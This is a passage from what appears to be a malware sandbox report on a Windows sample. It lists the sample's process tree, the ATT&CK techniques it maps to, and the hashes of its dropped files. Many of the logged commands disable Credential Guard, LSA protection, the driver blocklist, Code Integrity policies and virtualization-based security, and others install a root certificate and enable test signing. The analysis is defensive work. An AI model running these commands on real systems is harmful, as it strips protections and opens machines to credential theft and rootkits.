    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1684
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4312
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6036
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
    3⤵
    - Boot or Logon Autostart Execution: LSASS Driver
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5144
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5612
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3000
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5488
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
    3⤵
    - Modify Registry: Disable Windows Driver Blocklist
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2088
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3300
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240756328.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240756328.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4544
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240756328
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2372
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240756328
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2432
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240756328
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240756328
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5648
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /s
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5176
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /s
    3⤵
    PID:3332
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240756328
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4388
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240756328
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1420
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240756328
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240756328
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4444
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /d
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /d
    3⤵
    - Enumerates connected drives
    PID:5944
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240756328" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240756328" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4976
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2784
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4260
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set testsigning on
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240758203_91945.cer"
  2⤵
  - Installs a root certificate to the trusted certificate store
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5856
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240758203_91945.cer"
    3⤵
    - Installs a root certificate to the trusted certificate store
    PID:5964
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240758203_91945.cer"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240758203_91945.cer"
    3⤵
    - Manipulates Digital Signatures
    PID:256
- C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
  "C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe" -apply
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3464
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1448
- - C:\Windows\system32\shutdown.exe
    C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4852

C:\Windows\Temp\longdiequdong1.sys
C:\Windows\Temp\longdiequdong1.sys
1⤵
- Executes dropped EXE
PID:1620

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39d3855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:2320

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

SignGuiPatcher.exe

Path C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
Size 27KB
SHA256 32fc89230f272a47c702b366f4cdba6c37a9bf4a323ab69d8b96effb9809d416
MD5 bf3bab59d74bf6244dbdde2eab294801
SHA1 59419491b377aa43a8ee7333d1599ff9fb6ae104
SHA512 ae9718a73d92778b06988afc95f6ff8a9b002bed543f4da8ab7857c31e520401bd346a31e993155ea808fc8a7d7e4469cabd2285f107924b80205da92df60061
SSDEEP 384:DPysd9jpAZsQ+lNyvo3ugNoovS5uZYreLe+GzXcN7bA4//cuJXp1:DBjpC+QovSKE2Y4/keXb
TLSH
T1ECC20A5AA2F405DAF532A171D9B67326F036F518183147DF83620A5E0F72AC0BB35BAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bl_240746093_63575.bat

Path C:\Users\Admin\AppData\Local\Temp\_bl_240746093_63575.bat
Size 173B
SHA256 c6f83704fc6bc4843ca886159ab3b128c976e04f4dcc694c5c3d2b560884941e
MD5 b3cedaabe67da155824ae63ee94ffc65
SHA1 03d443b2bec152c29e19c39205fa4bf715c40444
SHA512 a6ab8a6e851b24da8ab439af7f162e267c94e179c3315760296a33e0563d38d23e70d0532bb02f25d921609c24cebc06b01955ff3fdc41be677d5659af9ccbf0
TLSH
T19BC0C0431341CCED0005A00BB0B3C04421F34DCF2DC139E0025144F87C604C5FE4A603
MD5 SHA1 SHA512 TLSH

Submit Download

_bl_240746093_63575.txt

Path C:\Users\Admin\AppData\Local\Temp\_bl_240746093_63575.txt
Size 5B
SHA256 b6626dde5feadbb3302a67528088e8f7cf8536de683f152639d3727ac4b24b3a
MD5 a77299bfbf6fc09712da498c168f9e71
SHA1 347ea3c48644143aaf8b8fce49bc8ba817cf953f
SHA512 d803f52c41a271efc811861ae0848a7a892455fb97997cc97503bcedd7ffbb94858e43978cfca0bebf6f0003825079237d465e67e4d905343573913bff22e487
MD5 SHA1 SHA512

Submit Download

_vv_240756328.bat

Path C:\Users\Admin\AppData\Local\Temp\_vv_240756328.bat
Size 71B
SHA256 b87053ba9efb453b371deb7cc8d29b6d0c0256911f611d4213c598df5077e1e5
MD5 6fb1d5c97810295dd461868b57eb508c
SHA1 b53f99a659c0bae2195ca7dd9e5893519168932b
SHA512 1393047ecef74845ea4da039f01d3f9429f78f7f051938b760e18f3696dd47ded2ec94c0f81cac11a0a33dee712a9984edc15dabe3c25248567c09baa85e5c42
TLSH
T140A0220280CA8B8C800C003382F388CCF0B2080BBA88AB000303C02C888000CFFCF303
MD5 SHA1 SHA512 TLSH

Submit Download

_vv_240756328.txt

Path C:\Users\Admin\AppData\Local\Temp\_vv_240756328.txt
Size 47B
SHA256 3827cbd05a50743b57acddb70bbeb3c2118eb07e528c8d6e9449ae18553e41fa
MD5 99746df3450c18c32b6e617f2d27f934
SHA1 4bde2cc83326ad3386b0dfaea363304a52da5dd0
SHA512 048367c362a8e45154fca1da91c9561fd04b04d96f02b2bff3ed45385350fa591d3913dfd771cec4e277ea071267cf95c612382fea94decfa3803b5eca275307
MD5 SHA1 SHA512

Submit Download

_wdkt_240758203_91945.cer

Path C:\Users\Admin\AppData\Local\Temp\_wdkt_240758203_91945.cer
Size 792B
SHA256 4ba1a74c97dbbaba1d4b4119d41f5c764791cd568a3c7f6f20a98cdae36fddb6
MD5 f86961a3e60a0c917b1eee487922e374
SHA1 43dbb0d8926febc69b7663673161bc063ed10e04
SHA512 bcc3ea7c9cee6ce3322ebe6b443760a180bf28ed6c3ee1622f94714622d78d72de98b684e1f2f7b50993940ebc1a9cae797672c09b80faeda9d8c256cf413a4f
TLSH
T11F01757D256FB2855D5705505389E70E6872EAC445D14E3ADA3F4054C4C7981EF2F216
MD5 SHA1 SHA512 TLSH

Submit Download

longdiequdong1.sys

Path C:\Windows\Temp\longdiequdong1.sys
Size 604KB
SHA256 bbfbf45ad7e74419238dc8e1a68cc9f702a59f54011cf9ef8ba020936203824a
MD5 ba15c2adb4123b1967b1ea449206a74a
SHA1 f7decdc9757d9499e3d58e7033e78a9bc7f5097d
SHA512 788cca68e388890d474d51e74e7763a84c874239bf437c1547939f49c631301fb46f09382c1a41dca44c66e160f1f3aca489848953467bb410ab7f425da13274
SSDEEP 12288:U0zm8DQj3sl8ZoZnAKzJbqFLgBQBP469HWFBRNYr:U0zjQj3BoNzJbigBQR1BurNYr
TLSH
T189D47C82E29115F8E1A6C179C567933BE7F3B818131296DF82E0CD272F57BD0AA39711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4572-11-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-25-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-18-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-19-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-20-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-12-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-0-0x0000000002840000-0x000000000286B000-memory.dmp

Download

memory/4572-17-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-2-0x0000000000401000-0x0000000000402000-memory.dmp

Download

memory/4572-29-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-3-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-37-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-38-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/4572-40-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads